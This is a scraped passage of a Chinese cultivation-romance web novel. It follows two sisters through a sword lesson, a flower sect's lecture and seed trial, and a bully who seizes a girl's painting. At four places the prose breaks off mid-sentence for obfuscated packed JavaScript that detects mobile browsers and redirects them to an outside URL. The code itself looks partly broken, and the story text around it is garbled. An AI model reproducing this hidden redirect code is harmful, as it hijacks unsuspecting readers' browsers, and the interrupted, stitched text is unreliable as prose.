“连剑都握不稳,连一式都刺不完整,你大可不必来浪费自己的时间。” 墨染霜垂着头,死死咬住嘴唇。 “抬起头来。” 她慢慢抬起头。 嘴唇已经沁出血丝,眼眶已经红了,可她还是忍着,没有落下一滴泪。 素和流光看着她那双已经泛红的眼睛,不见丝毫动容。 “下一堂课,你不用来了。” 墨染霜的脸上瞬间失去了最后一丝血色。 周围静得可怕,没有人敢出声。 墨染青站在几步之外,死死地握着木剑,她现在恨不得冲过去,将他那张嘴撕烂。 可她不能。 就在这时,一道温和的声音响起。 “阁主。” 那名女剑修不知何时走了过来,站在素和流光身旁。 素和流光看了她一眼,没有说话。 女剑修没有看他,只是看着墨染霜,她的目光落在那张苍白的脸上,落在那双红了的眼眶上,眼底浮现出一丝怜惜。 “跟我来。”她说。 墨染霜愣住。 她没有解释,只是转身朝场边的树荫下走去。 墨染霜看了旁边的墨染青一眼,然后迟疑地跟了上去。 女剑修在石阶上坐下,拍了拍身旁的位置。 “坐。” 墨染霜小心翼翼地坐下,将木剑放在膝盖上,垂下眼眸。 “我叫余不归。” 余不归说完,从袖中取出一块手帕递给她。 “擦擦汗。” 墨染霜愣了一下,接过手帕,才发现自己脸上全是汗水。她轻轻擦去脸上的汗水,攥紧了手帕,还是没有抬头。 余不归看着她,突然轻轻笑了一声。 “阁主他就是这样,说话异常直白,不过他说的确实没错,你的身体不适合练剑。” 墨染霜睫毛轻颤。 余不归顿了顿,继续说,“你进不了藏锋阁也没关系,可以朝葬花谷看一看,谷主会喜欢你的。” 墨染霜终于抬起头看她。 余不归声音温和,“你身子弱,这是天生的,怪不得你。方才你练剑的时候我可是一直在看呢,你总共刺了三十五剑,即便手在发抖也没有想过把剑放下,掉了剑的第一反应也是去捡。” 她轻轻拍了拍墨染霜的手背。 墨染霜愣愣地看着她。 “我们都应该选择更适合自己的道路,下一次你来也不必和别人一起练剑了,可以来陪我说说话。” 余不归看着墨染霜,目光认真,“我们没必要做这种费力不讨好的事情。” 墨染霜用力点了点头,“多谢前辈指教。” 演武场上,墨染青一剑一剑刺着,手臂酸得几乎抬不起来,可她不敢停。余光里,阿霜还在树荫下坐着,余不归就在她身边,两个人不知道在说什么。 她心中稍安。 收回目光,继续练剑。 收回,刺出。收回,刺出。 练了一阵,她忽然察觉到一丝异样。 身边有人。 不是阿霜,阿霜还在树荫底下,这个人比阿霜矮一些也瘦一些。 墨染青微微偏头,一个女孩手握木剑,正一下一下刺着。 墨染青愣了一下,她记得这个女孩,昨日就坐在自己身旁。 墨染青从来没有在意过她,可此刻,这个女孩不知何时挪了过来,就站在阿霜原来的位置上。 目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305547|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光在她脸上停留了一瞬。 女孩握剑的手微微收紧,连带着刺出去的剑歪了几寸。 墨染青收回了目光,没有说什么。 继续专心练剑。 日落影斜,演武场上,众人还在一下一下刺着剑。 有人撑不住了,想悄悄放下剑歇一会儿,被素和流光一眼扫过去,连忙又拿了起来。 有人手臂抖得像筛糠,咬着牙还在刺。 墨染青的衣衫已经被汗水浸透了,手臂酸痛也不敢停。 “好了,今日就到这里。”素和流光的声音响起,如闻天籁。 众人如蒙大赦,有人直接瘫坐在地上,有人踉跄着想去找水喝。 “方才那一式,你们回去之后继续练。藏锋阁位于三十三重天最顶端,那里是苍穹之巅,四季如冬,冰雪不化,你们若只是想入仙门享福,趁早死了这条心。” 说完,他转过身,负手而立,不再看场中。 众人纷纷散去。 墨染霜从树荫下走过来,脸色比刚才好了很多,却还是异常苍白,脚步也有些虚浮。 “阿青,你还好吗?” 墨染青摇了摇头,“我还走得动。” 两人走了几步,她忽然回头看了一眼。 那个女孩还站在原地,握着剑,恰好正看向她。 对上她的视线,仿佛被烫了一下,匆匆转过身去。 墨染青收回了目光,和墨染霜继续往前走。 人群渐渐散去,演武场空旷下来。 素和流光依旧负手站在场上,一动不动。 余不归来到他身边,站定,顺着他的目光看向空荡荡的演武场。 “看什么呢?” 素和流光没有说话。 余不归也不恼,只是笑了笑,“在等人?” 素和流光终于转过头,看了她一眼,随口一问:“你方才和那个丫头说了什么?” 余不归佯装疑惑,“哪个丫头?” “那个先天不足的。” 余不归恍然大悟,“怎么,阁主想知道?” 素和流光眉头微皱,“我问你话。” 余不归笑了笑,“也没什么,就是告诉她,藏锋阁不适合她。” 素和流光沉默了一下,“我没说错。” “你是没说错。”余不归点了点头,“你只是说得太难听了。” 她看着素和流光,突然轻轻叹了一口气,“我知道你是为了她好,可有些人,不是你这样骂就能骂走的。” “那个丫头身体虽弱,可心性要强,你这样骂她,她不仅不会放弃,还会把自己逼得更恨,可她的身体又经不起这么逼。” 素和流光沉默了片刻,“来藏锋阁对她没有半点好处。” “我知道。”余不归说,“可有适合她的地方。” 素和流光没有再说话。 晚风吹动两人腰间的剑穗。 “阁主。”她忽然唤了一声。 素和流光转头看她。 “你方才是在等我?” 素和流光的眉头又皱了起来,却没有否认。 余不归笑出声来,“走吧,再不走,天就要黑了。” 素和流光看着她的背影,跟了上去。 两个人的身影渐渐消失在暮色当中,演武场彻底安静下来。 只有晚风,还在轻轻吹着。 15. 和花和月 第三天轮到葬花谷的老师授课。 葬花谷似乎是三派之中最没有规矩的门派,上课时不必穿特定的校服,就连上课时间都要比另外两派晚上一个时辰。 正好昨日练剑辛苦,倒是让人好好休息了一夜。 两人收拾妥当,不紧不慢地往明心殿而去。 走过御花园边上那条小径时,忽然听见前面传来一阵急促的脚步声。 墨染青还没来得及反应,一个人影就从拐角处冲了过来,直直撞进她怀里。 “哎呀!” 一声惊呼,紧接着是什么东西散落在地。 墨染青被撞得后退半步,稳住身形,眉头跟着皱了起来。 她低头看去。 一名女子正跌坐在地上,面颊通红,手边散落着一卷画纸,她慌慌忙忙地想要去捡,手忙脚乱间又将画纸推得更远了些。 “对、对不起……”她声音细若蚊蚋,头垂得低低的,耳朵红得仿佛要滴出血来。 墨染青的眉头皱得更紧了。 这声音,这熟悉的姿态。 “是你?” 那女子浑身一僵。 她慢慢抬起头,露出一张红扑扑的脸,正是昨日在她身旁练剑的女子。 “我不是故意的……我刚刚在练习画画,怕上课迟到了,没注意路……”她的声音越来越小,最后几个字让人几乎听不见。 墨染青看着她这副模样,眉头松开了一些。 墨染霜已经蹲下身去,轻轻捡起那卷落在地上的画。 “别急。”她声音温柔,“我帮你捡。” 那女子慌忙摇头,“不用,我,我自己来……” 墨染霜已经将画卷捡起来拢好,递给她。 “谢、谢谢。” “下次小心些。”墨染霜朝她笑了笑,“画撞掉了没事,摔到自己就不好了。” 她接过画卷,抱在怀里,用力地点了点头。 “你叫什么名字?”墨染霜又问。 “我、我叫花小月。”她答。 “花晓月。”墨染霜细细念着这三个字,“任风月老,花月好,晓月照。” “倒是一个好名字。” 花晓月抬头,一时之间呆住,想不到自己的名字竟然可以如此有意境。 墨染青站在一旁,看着她这副模样,忽然开口:“你方才说,在练习丹青?” 花晓月呆呆地点了点头。 “在这里练?” “这里早上人少。” 墨染青看着她,目光里带上了一丝探究。 花晓月这才回过神来,轻轻垂下头。 墨染霜在一旁悄悄拉了一下她的袖子。 “阿青,别吓着她。” 墨染青收回目光,哼了一声,“我哪里有吓她?” 花晓月连忙摇头,“没、没有。” 墨染霜看着她,轻声问,“你这是要赶去明心殿上课吗?” 花晓月点点头。 墨染霜便笑了,“那正好,一起走吧。” 花晓月愣住了。 她看了看墨染霜那张温柔的脸,又偷偷瞥了一样旁边的墨染青。 “走吧。”墨染霜已经往前走了两步,回头看她,“再不走该要迟到了。” 花晓月咬着嘴唇,迈步跟了上去。 她走在墨染霜身边,和墨染青隔着一个人的距离,紧紧抱着怀里的画卷,耳根上的红晕久久未散。 墨染青余光扫过她,忽然问了一句,“你画的什么?” 花晓月抱紧了画卷,“没、没什么,随便画的几朵花。” 墨染收回了目光,没有追问。 墨染霜在一旁看着,嘴角弯起浅浅的弧度,“阿青自小练画,或许你们可以聊上一二。” 墨染青不置可否,“我屋里有一幅名师所作的百花图,你倒是可以拿去观摩一番。” 三人边说边走,终于来到明心殿。 殿内已经坐了不少人,三人找了靠边的位置坐下。 花晓月坐在墨染霜旁边,隔着一个人,离墨染青还是那个不远不近的距离。 她低头,看似在整理画卷,实则余光一直往旁边瞟。 墨染霜看见了,抿着嘴笑了笑,没有说话。 墨染青没有看她,只是撑着下巴,看向殿门的方向。 花晓月心中忽然涌现出一种奇怪的滋味。 像是偷吃了蜜糖的小孩,怕被人发现,又舍不得将糖吐出来。 殿门处,两道婀娜的身影正缓缓走来。 一位身着雾紫色衣裙,衣袂上绣着银色的小花,容貌艳丽,眉眼间却带着几分淡淡的疏离,像是枝头盛放的红梅,好看,靠近时却会沾上满身寒气。 另一位身着月白色长裙,裙摆处绣着淡粉的桃花,走动之间,花瓣若隐若现,像是踏花而行,她眉眼温柔,发间簪了一支桃花。 两人走到台前,站定。 紫色衣裙的女子目光扫过台下众人,声音清冷,“葬花谷,陌上花盈。” 月白衣裙的女子微微一笑,声音轻柔如春风拂面,“葬花谷,花未眠。” “葬花谷只收女弟子。”陌上花盈开门见山说道。 此言一出,台下一片哗然。 顾如翼脸上的笑容瞬间僵住,一脸的不可置信。 和他一样的人还有很多。 “只收女的?” “这……怎么不早说?” “我白来了?” 陌上花盈冷冷扫了他们一眼,瞬间让那些抱怨声小了下去。 “葬花谷的规矩历来如此。”陌上花盈继续说道:“不符合条件的人下一堂课不用再来了,可朝另外两派继续努力。” 他们虽然不甘,却也不敢多说什么,只能灰溜溜地离开了明心殿。 不多时,殿中剩下的全都是女子。 花未眠目光扫过殿中众人,“葬花谷,由上古神眷者陌上花盈创立,谷训为:惜花护道,不争不扰。” 台下早已安静,众人纷纷竖起耳朵听讲。 她往前走了几步,裙摆上的桃花若隐若现,“谷中有四司,春司主生,司中皆是育花人;夏司主杀,司中皆是巡谷人;秋司主藏,司中皆是游世人;冬司主葬,司中皆是守墓人。” 台下有人小声问:“为什么会有守墓人?” 花未眠看了那人一眼,温声道:“问得很好,因为葬花谷就是一座坟墓,葬尽百花,既是坟墓,自然需要守墓人存在。” 众人闻言纷纷倒吸一口凉气。 花未眠轻轻一笑,“别怕,普通人是当不上守墓人的。” 众人这才松了一口气。 花未眠继续说,“我等修为境界分为三重:种心,生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305548|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魂,花痴。” 有人忍不住问:“只要种出花来就能够入葬花谷吗?” “只要不是靠作弊种出的花,就能够入葬花谷。”说到此处,花未眠目光柔和下来,“除此之外,心性纯良者,与花有缘者,还有……” 她说到这里,忽然停顿了一下,目光在人群中扫过。 众人屏息凝神,等着她继续往下说。 花未眠的嘴角轻轻弯起,意味深长地说,“还有容颜美丽者,同样有机会进入葬花谷。” 她的目光扫过人群,忽然停在一处。 伸出手,纤纤玉指遥遥一指。 “就像那位姑娘。”她的声音里满含笑意,“便是谷主她老人家会喜欢的。” 众人的目光顺着她的手指齐刷刷看过去。 墨染青坐在靠窗处,依旧是那一袭引人瞩目的红裙。 这么多道目光落到自己身上,她一愣,然后对上花未眠含笑的眼眸。 台下顿时响起了一阵窃窃私语声。 “啊?” “还有这种规矩?” “那……那我是不是没希望了?” “是她啊……” “确实生得好……” “怪不得……” 女孩们面面相觑,有人摸着自己的脸,有人已经开始沮丧了。 花未眠将她们的反应收入眼中,“诸位不必紧张,只这一条,说是规矩,其实也算不上是规矩。只是谷主她老人家性情疏阔,偏爱赏心悦目之人,你若是生得好看,日日在她面前晃悠,说不准她就破例让你入谷了。” 陌上花盈在一旁无奈地看着她,笑了,“她是与你们开玩笑的。” 见谷主亲口发言,众人这才稍稍安心。 花未眠也不再玩笑,正色道:“只要你们在三月内能够成功种出花,便能通过考核,进入葬花谷。” 说着,她从袖中取出一袋种子。 从中倒出一粒,种子很小,通体莹白,像是玉雕成的。 “每人一粒。” 说完,她走下台与陌上花盈一起,将种子一粒一粒分到众人手中。 陌上花盈走到墨染霜身边时,脚步一顿。 她的目光落到墨染霜苍白的脸上,温和地笑了一下,“你叫什么名字?” 墨染霜一愣,连忙道:“回谷主,我叫墨染霜。” 陌上花盈点点头,将种子放进她掌心,轻声说,“好好种。” 种子分发完毕,花未眠又问,“除了方才说的那些,你们可有想问的?趁我二人还在,尽管问。” 台下静默了几息,终于有人鼓起勇气提问:“前辈,上古神眷者究竟是什么呀?” 花未眠仔细想了想,说:“元女创世的传说你们都知道吧?” 众人纷纷点头。 她于是继续说:“玄鸟的翅羽化作了人类,这些人类和元女一样,都是永生不死的。” 台下有人惊呼出声:“永生不死?” “那岂不就是神仙?” 陌上花盈看着众人的反应,微微摇头,“不必羡慕,永生不死,未必是福。” 花未眠继续讲,“那时的人没有生老病死,他们活一日与活千年并无分别,天地间只有他们,日复一日,年复一年。” 她的声音开始变得低沉而悠远,讲起那些古老得几乎被遗忘的传说。 16. 和花和月 “那时的人,他们相望却不相思,他们不曾经历死亡,便不知生命可贵,不曾经历离别,便不知相聚之欢。 直到有一天,一个人遇到了另一个人,他们相伴相依,相知相惜,孤独的心有了归处,于是萌发了爱意。 有一天,一个人问:‘我们该如何证明我们的爱是存在的,不是虚假的呢?” 另一个人想了很久,久到日升月落不知道多少轮过去。 ‘那就让我们骨血交融。’ 他们剔下骨,割开血,让骨与血交融在一起。 ‘你能感受到我的爱吗?’一个人问。 ‘我只能感受到疼痛。’另一个人回答。 为了证明两人的爱,他们融合了自身的骨血,创造了一个新生命,母亲承受了生育的痛苦。 父亲看着痛苦的母亲,问,‘爱就是痛苦吗?’ 母亲看着新生的婴孩说:‘爱是甘愿痛苦。’ 可是天地有衡,新生命的诞生,需要付出代价。” 台下有人忍不住问:“是什么代价?” 花未眠看了那人一眼,缓缓道:“他们自己的生命。” “那时的人永生不死,是因为天地初开时的生机尽数归于他们。若要孕育新的生命,便需要将自身体内的生机分给后代,可是分出去,自身体内的生机便不再完整了。 于是死亡降临在他们身上。 越来越多的人效仿他们孕育生命,以自身的死亡换来后代的延续。 这些后代就是如今的普通人。” 花未眠最后落下一声叹息,“而那些一直没有选择孕育生命的人,则是被普通人称作神眷者,意为被女神眷顾之人,因为他们拥有普通人毕生追求却无法拥有的生命力。” 角落里,墨染青突然开口问道:“那……那后来的人知道自己会死,为什么还要相爱呢?” 花未眠沉默,然后抬眼看向陌上花盈。 陌上花盈轻轻叹了一口气,“或许是因为孤独,或许是因为有人比永生更值得吧。” 有人继续问:“藏锋阁的阁主也是神眷者吗?” 陌上花盈点了点头,“他可是我见过最冷心冷情的人,或许有一天这个世界上会只剩下他一个神眷者吧。” 墨染青轻声说,“那他岂不是成了天底下最孤独的人。” 花未眠纠正道:“是他选择了孤独。” 有人鼓起勇气问:“那藏锋阁收徒,是不是也只收冷心冷情之人呢?” 花未眠笑着摇了摇头,“藏锋阁的剑修,大多冷面,可这冷面,不代表冷心。” 那人眨了眨眼,似懂非懂。 “你们昨日可曾见过那位余前辈?”花未眠问。 墨染霜忽然开口:“是余不归前辈吗?” 花未眠点头,“就是她,她可是藏锋阁这百余年之中最有情有义的剑修。” 墨染霜闻言一愣,“百余年?” 花未眠笑着朝她眨了眨眼,“余不归前辈如今已经八十多岁了,你们没看出来吧?” 众人愣住。 “真的已经八十多岁了?” “一点都看不出来呢。” “看着好年轻。” “等你们成功通过考核,也能像她一样驻颜有术。”花未眠说到这里,眼珠一转,好像突然间想起来什么,朝众人道: “哎呀,今日就讲到这里,你们也快回去将种子种下吧。” 女孩们三三两两出了明心殿。 墨染青和墨染霜出了明心殿,往前走了一段路,墨染青忽然停下来,回头看了一眼。 花晓月抱着画卷,望着两人的背影,往前挪步。 见她们停下,又止步,低头。 那样子,像是一只想要靠近又不敢靠近的小兔子,怯生生的。 墨染霜见她这副模样,心中一片柔软。 “晓月。”她唤了一声。 花晓月猛然抬头,对上她的目光。 “你住哪里?”墨染霜问。 花晓月小声道:“西边十二宫……” 墨染霜想了想,“正好顺路,一起走吧。” 花晓月眼睛一亮,又偷偷看了墨染青一眼,见她双眉紧蹙,连忙道:不用、不用麻烦……我自己……” “不麻烦。”墨染青出言打断她,语气不容拒绝,“正好随我们去一趟紫云殿,我将百花图给你。” 说完便转身,继续往前走。 花晓月愣了一瞬,连忙移步跟上。 她走在墨染霜旁边,依旧抱着画卷,低垂着头,只是悄悄弯了弯嘴角。 三人一路走进紫云殿。 墨染霜径直走向屋檐下,找出一个原本打算养花的花盆,她小心翼翼地将花盆端起来,放到阳光最好的位置上。 随后拿出那粒在课上得到的种子。 “阿青。”她头也不回地问,“你说这种子种之前需不需要先泡一下水?” 墨染青走到檐下,随口道:“我也不知道。” “那……你看浇多少水合适?” 墨染青走过去,站在她身后,看着那粒小小的白色种子。 “我也不知道。”她说,“你按照以往养花的法子来就行。” 墨染霜点点头,轻轻地将种子埋进土里,又覆盖一层薄土,然后拿起一旁的小水壶,仔细地浇上了水。 她看着眼前的花盆,“希望它能早日破土而出。” 墨染青看着她,无声地笑了笑,“好了,你在这儿守着你的宝贝种子,我去找画。” 说完,转身朝内殿走去。 花晓月站在殿门口,抱着画卷,犹豫着要不要进去。 墨染青回头,朝她招了招手,“进来坐吧。” 花晓月这才迈步走进来,在桌边的椅子上坐下。 墨染霜没有关注她,还在一心一意地盯着那个花盆。 花晓月偷偷看了她一眼,又将视线移到墨染青的方向。 墨染青打开柜子的门,找出那个放画的檀木匣子,开了锁,拿到桌上翻找。 除开最上面的一幅画是卷起来的,其余的画作全都平铺在匣子底部,有的画是墨染青刻意收藏的大家之作,有的则是曾经的练习之作。 她看了一眼那卷格格不入的画。 只一眼。 然后就收回目光,翻找起来。 找了好一会儿,墨染青才找到之前说的那幅百花图,她将百花图递给花晓月,刚想说什么,就听见墨染霜的声音传来。 “阿青!”那声音里满是急切和惊喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305549|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 墨染青愣了一下,连忙转身走过去。 “怎么了?” 墨染霜坐在花盆旁边,她回头看墨染青,喜悦之意溢于言表。 “你快来看!” 墨染青走到她身边,顺着她的目光看过去,然后愣住。 一株嫩绿的芽,正从土里探出头来,在日光下颤颤巍巍的。 墨染青愣愣地看着,一时竟说不出话来。 “阿青,”墨染霜惊喜得声音都在发抖,“它发芽了!它真的发芽了!” 墨染青伸出手,轻轻揽住她的肩膀,“嗯,她发芽了。” 花晓月不知何时也走了出来,站在她们身后,看着这一幕,轻轻开口:“墨姑娘……” 墨染霜抬起头,看向她。 花晓月的声音很认真,“你的种子发芽了,真好。” 墨染霜朝她笑了笑,又看到她手里捧着的百花图,“晓月,你迟早也会笔下生花的。” 花晓月的耳根又忍不住红了,“我、我会努力的……” 墨染青在一旁打趣道:“好了好了,都别在这儿杵着了,阿霜你要是再盯下去,这刚发的芽都要被盯得羞进土里去了。” 墨染霜“哎呀”一声,想伸出手碰一碰那株嫩芽,又在即将触碰到时收回了手。 “不能碰。”她自言自语,“它还小,碰坏了可怎么办。” 墨染青看着她这副模样,摇了摇头,又回过头来对着花晓月说:“那幅百花图,你就拿回去吧,不用还给我了。” 花晓月连忙道谢,然后看了看两人,识趣地告别离开了紫云殿。 墨染霜仍在关注那株嫩芽。 墨染青靠在门边,抱着手臂,看着她。 看了一会儿,她开口:“阿霜。” “嗯?” “紫云殿在哪个方向?” 墨染霜头也不回,随口答:“东边啊,怎么了?” “那西十二宫呢?” “当然是西边啊。” 墨染青点点头,慢悠悠地说:“一个在东,一个在西,你方才还说顺路?” 墨染霜的手顿住,她慢慢抬起头,对上墨染青那双似笑非笑的眼睛。 语气平静得很,“是顺路啊,从明心殿到紫云殿,再往西走几步不就到西十二宫了吗?” 墨染青挑了挑眉,“往西走几步?从紫云殿到西十二宫得穿过整个御花园,少说得走半个时辰。” 墨染霜依旧没抬头,“只要想走,不就是几步路的事情么。” “也是。”墨染青垂眸,点点头,“也就是几步路的事情。” 她又看了片刻,转身进了内殿。 桌上摊开了一堆画,墨染青将这些画一幅一幅地整理好,放进檀木匣中。 最后目光又落在那幅卷起的画纸上,她的手指靠近画卷,轻微停顿,然后指腹落在画卷上细细摩挲着。 她抿唇。 良久。 将画卷展开。 目光落到缓缓展开的画纸上。 然后她愣住了。 画纸上,一片空白。 什么都没有,只是一张空白的画纸,干干净净,点墨未沾。 墨染青站在原地,捧着那张空白的画纸,许久未动。 17. 和花和月 翌日,花晓月早早便来到明心殿,等待开课。 今日轮到神笔门的老师讲课,殿中的人明显比昨日多,既有女子,也有男子。 花晓月扫了一眼,正要往靠边的位置走,忽然耳边传来一阵喧哗。 “凭什么?凭什么葬花谷只收女的?我们男的就不能去了?” 一道尖利的声音传来,带着浓浓的不满。 花晓月循声望去,只见顾如翼正站在人群中间,对着几名女子大声嚷嚷。 “这是葬花谷的规矩。”一名女子皱着眉,朝他道:“你冲我们嚷有什么用?” “规矩?什么破规矩!”顾如翼越说越起劲,“要不是陛下开恩,你们这些普通人家的女儿怎么会有资格来参加选拔?还能进明心殿?现在倒好,把我们男子排除在外,凭什么?” 旁边几个男子也跟着附和起来。 “就是就是,太不公平了!” “我们也是来求仙问道的,凭什么歧视我们?” 那几名女子被他们围住,脸色有些难看,却不知该如何反驳。 花晓月收回了目光,知道这不是自己能够参与的事,却见顾如翼的目光忽然一转,落到了自己身上。 花晓月抱着画,低着头,小心翼翼地往旁边挪,想要避开这场纷争。 顾如翼的眼睛眯了起来。 “哟,这不是那个整天跟在阿霜和公主身后的跟屁虫吗?”他阴阳怪气地笑了起来,“我看你天天往公主身边凑,以为这样公主就能让你进入仙门吗?” 花晓月身子一僵,头垂得更低了。 顾如翼见她不吭声,愈发不满,往前走了几步,来到她面前。 “喂,我在跟你说话呢,你聋了?” 花晓月咬着唇,不出声。 旁边的人渐渐围拢过来,有人看热闹,有人皱眉,也有人小声说劝“算了吧”,却没有人上前阻拦。 顾如翼一把夺过花晓月怀里抱着的画。 花晓月惊呼一声,下意识伸手去抢,却被顾如翼一把推开。 她踉跄了几步,差点摔倒,幸好被旁边的一名女子扶住。 “别着急别着急,让本公子看一看你这画技如何。”顾如翼嘲讽地笑着,将画卷展开。 画纸上,是一个背影。 青白的衣衫,墨黑的发,虽然只是一个背影,却能让人看出几分风骨。 顾如翼看着那幅画,先是愣了一下,随即哈哈大笑起来。 “我还以为你画的是什么,宝贝成这样,原来就是个背影?” 他将画举得高高的,让周围的人都能看见。 “你们看看,就这水平,还痴心妄想要拜入仙门?” 周围传来几声附和的笑。 花晓月的脸已经涨得通红,眼眶里也蓄满了泪,她伸手想去抢画,却被顾如翼躲开。 “别急嘛,让大家都欣赏欣赏。”顾如翼夸张地笑着,“就你,也敢肖想拜入仙门?也不想想你爹娘是什么身份?要不是陛下开恩,你这辈子连皇宫的门都摸不着,还敢来这儿丢人现眼?” 花晓月的眼泪终于掉了下来。 周围的笑声更大了。 就在这时,一只莹白的手腕从旁边伸过来,稳稳地擒住了顾如翼拿着画卷的手。 顾如翼一愣,顺着那只手往后看。 对上墨染青那双冷冰冰的眼睛。 “闹够了吗?” 顾如翼的笑声戛然而止。 他看着那只擒住自己手腕的手,纤细,却箍得他骨肉生疼。 “你……”他想抽回手,却没能抽动。 墨染青没有说话,只是冷冷地看着他,里面没有更多的情绪,却比任何愤怒都让人胆寒。 顾如翼的腿有些发软。 他想起了那天在御花园,那柄架在自己脖子上的剑,那冰冷刺骨的锋刃。 “公、公主殿下……”他的声音开始发抖,“我、我就是开个玩笑……” 墨染青依然没有说话。 她只是伸出另一只手,从他手里拿过那幅画。 顾如翼不敢反抗,乖乖松开了手。 墨染青接过画,低头看了一眼。 熟悉的背影,熟悉的轮廓。 她抬起头,目光扫过那些看热闹的人。 那些人被她的目光一扫,纷纷低下头去,不敢与她对视。 最后,她的目光落在顾如翼脸上。 “这幅画,”她的声音不大,却清晰地传入周围所有人的耳中,“是我画的。” 顾如翼愣住了。 周围的人也愣住了。 花晓月猛地抬起头,泪眼婆娑地看着她,嘴唇微动,最终还是一个字也未吐出。 墨染青没有看她,只是紧紧盯着顾如翼,不紧不慢地说: “我让花晓月帮我拿着,你抢什么?” 顾如翼脸色一变,“这、这……这竟然是公主殿下画的?” 他指着那幅画不敢置信地问:“殿下怎么可能去画老师的背影?” 墨染青冷冷地看着他,“关你什么事,你该管好你自己才对。” 顾如翼被她堵得说不出话来。 周围有人小声议论起来。 “原来是公主画的……” “我就说嘛,那个丫头怎么可能画得出……” “公主还会画画?” “快别说了,人家可是公主……” 顾如翼的脸色青白交加,他想反驳却又不敢,皇权的阴影压在他的心头,让他不敢造次。 “顾如翼。”墨染青的声音很平静,“你方才说,要不是陛下开恩,普通人根本就没有资格来参加选拔?” 顾如翼不敢接话。 墨染青往前走了一步。 “那你呢?”她问,“你又有什么资格。” 顾如翼的脸更白了。 “我是……”他想说什么,却被墨染青打断。 “你是顾家次子,是世家子弟,是生来就有资格站在这儿的人。” 墨染青看着他,“你能够站在这里,是因为你姓顾。” 墨染青的目光扫过那些看热闹的男子,“你们呢?姓顾的可以压你们一头,你们怎么不对着他嚷嚷不公平?” 周围瞬间鸦雀无声。 所有人的目光都朝着同一个方向看去。 墨染青顺着那些目光转过身,明心殿门口,一道青白色的身影正缓缓走来。 晨光落在他的身上,晕出淡淡的金边。 他眉眼沉静,目光扫过殿中众人,最后落在墨染青身上。 只是一瞬间。 然后他移开视线,继续往前走。 墨染青站在原地,拿着画的手微微收紧。 她看着他一步步走近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308350|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着他从自己身边走过,衣袖擦过衣袖,沾染上一股淡淡的墨香。 他没有看她。 章蕴白走到殿前的高台上,转过身来。 他的目光再次扫过众人,这一次,在墨染青手中的那幅画上停顿了一下。 “钟声已经响过,你们为何还在此喧哗?” 顾如翼张嘴想要解释,却被那目光一扫,所有的话都被堵在了喉咙里。 墨染青上前半步,刚要开口,却见章蕴白的目光落在了花晓月身上。 “你来说。”他看着花晓月。 花晓月愣了一下,呆呆道:“昨日我错拿了公主的画,今日本想将画带来还给她,谁知……” 她犹豫了一下,看着顾如翼,“谁知这位顾公子,非要抢我手中的画……” 旁边的顾如翼顿时急得满头大汗,“章阁主,误会,都是误会,我只是开个玩笑……” 他解释着,忽然话锋一转,道:“我就是不小心看见那画上的人似乎是阁主您,所以才想借来一观,看是否是有人故意冒犯您,谁知公主竟然误会了我……” 章蕴白没有看他,他的目光落在墨染青手中的画上。 “哦?这幅画可否让我一观?” 墨染青垂下眼,不看他。 殿中安静了几息。 然后她听见他的声音再次响起。 “墨姑娘?” 那声音清冷依旧。 墨染青抬起头,对上那双沉静的眼睛。 她拿着手中的画,走向高台。 一步一步。 心脏在鼓动。 脸上却不动声色。 她走到他面前,停下脚步。 章蕴白比她高出许多,她需要微微仰起头,才能看清他的脸。 她伸出手,将画递过去。 “章阁主请看。” 章蕴白低头看她。 晨光洒在她微微发颤的眼睫上,像金蝶振翅。 然后他伸出手,接过那幅画。 墨染青再次垂下眼,不看他,只有淡淡的墨香避无可避地萦绕在鼻间。 章蕴白也没有看她。 他将画卷缓缓展开。 他看着画上那个背影,沉默了。 墨染青低着头,只能看见他的衣摆被风吹动,轻轻翻飞。 如她的心。 他的声音从头顶传来,“这幅画是你画的?” 她抬起头,正好对上他的目光。 章蕴白看着她,等待着她的回答。 墨染青敛下眼睫。 “是。”她说。 章蕴白又低头去看那幅画,“画工不错。” 又说:“这幅画留下,以后不要再擅自为师长作画了。” 